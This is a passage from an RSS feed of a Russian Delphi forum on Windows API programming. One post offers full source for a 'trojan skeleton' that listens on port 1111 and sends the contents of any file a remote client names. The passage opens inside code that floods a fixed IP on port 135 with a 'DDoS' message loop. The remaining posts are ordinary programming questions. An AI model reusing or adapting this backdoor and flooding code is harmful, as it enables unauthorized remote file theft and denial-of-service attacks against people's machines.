/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBoxA(0, &apos;Textflood generate!&apos;, &apos;!&apos;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;&amp;nbsp;s:=1 to 500 do begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SendData(textflood&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBoxA(0, &apos;DDoS off!&apos;, &apos;Vse!&apos;, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseSocket(hSocket&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Server := TServer.Create; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;textflood:=&apos;a&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hHost := &apos;10.10.34.17&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hPort := 135; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Server.Connect; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-410-1</guid>
</item>
<item>
<title>Скачать файл с фтп</title>
<link>https://delfcode.ru/forum/30-401-1</link>
<pubDate>Fri, 24 Dec 2010 21:07:14 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Как скачать файл с фтп? Видел на дельфиворлде пример, но там увесистый слишком. Где то долно быть поменьше...</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-401-1</guid>
</item>
<item>
<title>alt f4</title>
<link>https://delfcode.ru/forum/30-390-1</link>
<pubDate>Thu, 23 Dec 2010 19:47:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: XSPY&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>Как запретить alt f4 на апи?</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-390-1</guid>
</item>
<item>
<title>Winapi сокеты</title>
<link>https://delfcode.ru/forum/30-384-1</link>
<pubDate>Sat, 11 Dec 2010 17:56:32 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Заготовка для троя&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Обещал поправлять форум сорцами - вот первый. &lt;br /&gt; Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках &lt;b&gt;очень&lt;/b&gt; позезная так что выкладываю сие сюда: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program programm1;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinSock, classes; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwTextBufferSize = $1000; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAData:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TWSAData; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lst_sock, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acc_sock:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TSockAddr; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lpTextBuffer: PChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data_len:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tf:string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;aa:string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f:textfile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dd:string; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl: TStringList; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sText : string; &lt;br /&gt;&lt;br /&gt; function FileExists(FileName:string&amp;#41;:boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FindData: TWin32FindData; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(FindFirstFile(PChar(FileName&amp;#41;,FindData&amp;#41; &lt;&gt; INVALID_HANDLE_VALUE&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure remote; &lt;br /&gt; begin &lt;br /&gt; dd:=&apos;Такого файла не существует!&apos;; &lt;br /&gt; lpTextBuffer := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetMem(lpTextBuffer, dwTextBufferSize&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAStartup(MakeWord(2, 0&amp;#41;, WSAData&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_family := PF_INET; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_port := htons(1111&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_addr.s_addr := INADDR_ANY; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bind(lst_sock, addr, sizeof(addr&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen(lst_sock, SOMAXCONN&amp;#41;; &lt;br /&gt; acc_sock := accept(lst_sock, nil, nil&amp;#41;; &lt;br /&gt; while true do begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0&amp;#41;; &lt;br /&gt; lpTextBuffer&amp;#91;data_len] := chr(0&amp;#41;; &lt;br /&gt; if Length(lpTextBuffer&amp;#41; &gt; 0 then&amp;nbsp;&amp;nbsp;begin &lt;br /&gt; if copy(lpTextBuffer,1,5&amp;#41; = &apos;&lt;txt&gt;&apos; then&amp;nbsp;&amp;nbsp;begin &lt;br /&gt; tf:=copy(lpTextBuffer,6,256&amp;#41;; &lt;br /&gt; if fileexists(tf&amp;#41; then begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl:= TStringList.Create ; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl.LoadFromFile(tf&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sText := sl.Text; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// --------------------- &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sl.Free; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; send(acc_sock, stext&amp;#91;1], length(stext&amp;#41;, 0&amp;#41;; &lt;br /&gt; end else&amp;nbsp;&amp;nbsp;send(acc_sock, dd&amp;#91;1], length(dd&amp;#41;, 0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(lst_sock&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(acc_sock&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSACleanup(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMem(lpTextBuffer&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; remote; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение&amp;#92;обработка&amp;#92;передача текста через сокеты). Порт - 1111.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-384-1</guid>
</item>
<item>
<title>Динамическое создание окна (формы)</title>
<link>https://delfcode.ru/forum/30-387-1</link>
<pubDate>Fri, 10 Dec 2010 15:51:54 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>Возник вопрос по поводу динамического создания компонентов. Вопрос таков: в чем ошибка, и почему окно все равно не поверх всех? &lt;br /&gt; Код: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;Program Api; &lt;br /&gt; uses &lt;br /&gt; windows,messages; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; window:TWndClassEx; &lt;br /&gt; Mwindow: HWND; &lt;br /&gt; Mmsg: MSG; &lt;br /&gt; Edit: HWND; &lt;br /&gt; Buttons: array&amp;#91;0..8] of HWND; &lt;br /&gt; Icon: HICON;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Font: HFONT; &lt;br /&gt;&lt;br /&gt; const&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; BTN_TEXT_0 = 6; &lt;br /&gt; EditID = 1; &lt;br /&gt; WND_STYLE = WS_OVERLAPPEDWINDOW or WS_VISIBLE or WS_EX_TOPMOST ; &lt;br /&gt;&lt;br /&gt; // Процедура обработки сообщений &lt;br /&gt; function WindowProc (wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM&amp;#41;:LRESULT;STDCALL; &lt;br /&gt; begin &lt;br /&gt; case msg of &lt;br /&gt; WM_Destroy: &lt;br /&gt; begin &lt;br /&gt; PostQuitMessage (0&amp;#41;; &lt;br /&gt; Result := 0; &lt;br /&gt; Exit; &lt;br /&gt; end; &lt;br /&gt; else &lt;br /&gt; Result := DefWindowProc(wnd,msg,wparam,lparam&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; // Ристрация класса окна &lt;br /&gt; begin &lt;br /&gt; window.cbSize := sizeof (window&amp;#41;; &lt;br /&gt; window.style := CS_HREDRAW or CS_VREDRAW; &lt;br /&gt; window.lpfnWndProc := @WindowProc; &lt;br /&gt; window.cbClsExtra := 0; &lt;br /&gt; window.cbWndExtra := 0; &lt;br /&gt; window.hInstance := HInstance; &lt;br /&gt; window.hIcon := LoadIcon (0,IDI_APPLICATION&amp;#41;; &lt;br /&gt; window.hCursor := LoadCursor (0,IDC_ARROW&amp;#41;; &lt;br /&gt; window.hbrBackground:=Color_BtnFace+4; &lt;br /&gt; window.lpszMenuName := nil; &lt;br /&gt; window.lpszClassName := &apos;Main_Window&apos;; &lt;br /&gt; RegisterClassEx (window&amp;#41;; &lt;br /&gt; Mwindow := CreateWindowEx(0,&apos;Main_Window&apos;,&apos;First_WinAPI_Programm&apos;, wnd_style ,100,100,300,300,0,0,Hinstance,nil&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;//окно &lt;br /&gt; SHOWWINDOW (Mwindow,SW_Show&amp;#41;; &lt;br /&gt;&lt;br /&gt; Buttons&amp;#91;6] := CreateWindowEx( WS_EX_STATICEDGE, &apos;Button&apos;, &apos;Я, кнопка&apos;, WS_VISIBLE or WS_CHILD,&amp;nbsp;&amp;nbsp;//кнопка &lt;br /&gt; 1, 1, 100, 25, mwindow, BTN_TEXT_0, hInstance, nil &amp;#41;; &lt;br /&gt; Font := GetStockObject( ANSI_VAR_FONT &amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; SendMessage( Buttons&amp;#91;6], WM_SETFONT, Font, 0 &amp;#41;; &lt;br /&gt;&lt;br /&gt; Edit := CreateWindowEx( WS_EX_CLIENTEDGE, &apos;Edit&apos;, &apos;Текстовое поле&apos;,&amp;nbsp;&amp;nbsp;&amp;nbsp;// Текстовое поле &lt;br /&gt; ES_AUTOHSCROLL or WS_CHILD or WS_VISIBLE, &lt;br /&gt; 1, 40, 150, 20, mwindow, EditID, hInstance, nil &amp;#41;; &lt;br /&gt; SendMessage( Edit, WM_SETFONT, GetStockObject( ANSI_VAR_FONT &amp;#41;, 0 &amp;#41;; &lt;br /&gt;&lt;br /&gt; // Цикл обработки сообщений &lt;br /&gt; while GetMessage (Mmsg,0,0,0&amp;#41; do &lt;br /&gt; begin &lt;br /&gt; TranslateMessage (Mmsg&amp;#41;; &lt;br /&gt; DispatchMessage (Mmsg&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; Тоже самое и с созданием формы во всю щирину экрана (WND_STYLE). Вобщем в чем дело и как исправить...</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-387-1</guid>
</item>
<item>
<title>Учебник по WinAPI</title>
<link>https://delfcode.ru/forum/30-366-1</link>
<pubDate>Mon, 06 Dec 2010 13:45:12 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>Евгений, я в группе ВК спрашивал учебник по апи. Предложенный вами учебник скачал. Обнаружил, что все, что в нем есть - написано на VCL. Там описаны примеры работы с процессами, с видео и т.д., но блин, этож на vcl. + ко всему, я знал почти все, что в том учебнике было описано. Как же так, и где найти учебник?</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-366-1</guid>
</item>
<item>
<title>!!Правила раздела!!</title>
<link>https://delfcode.ru/forum/30-364-1</link>
<pubDate>Wed, 17 Nov 2010 17:11:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;b&gt;В этом форуме обсуждается использование Api в Delphi не затрагивая VCL&lt;/b&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/30-364-1</guid>
</item>
<item>
<title>форма на чистом winapi</title>
<link>https://delfcode.ru/forum/30-357-1</link>
<pubDate>Fri, 12 Nov 2010 16:38:03 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>у меня имеется форма на winapi, мне необходимо изменить фон label&apos;ов которые там присутствуют &lt;img src=&quot;http://s5.ucoz.net/sm/2/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt; как это сделать?</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/30-357-1</guid>
</item>

</channel>
</rss>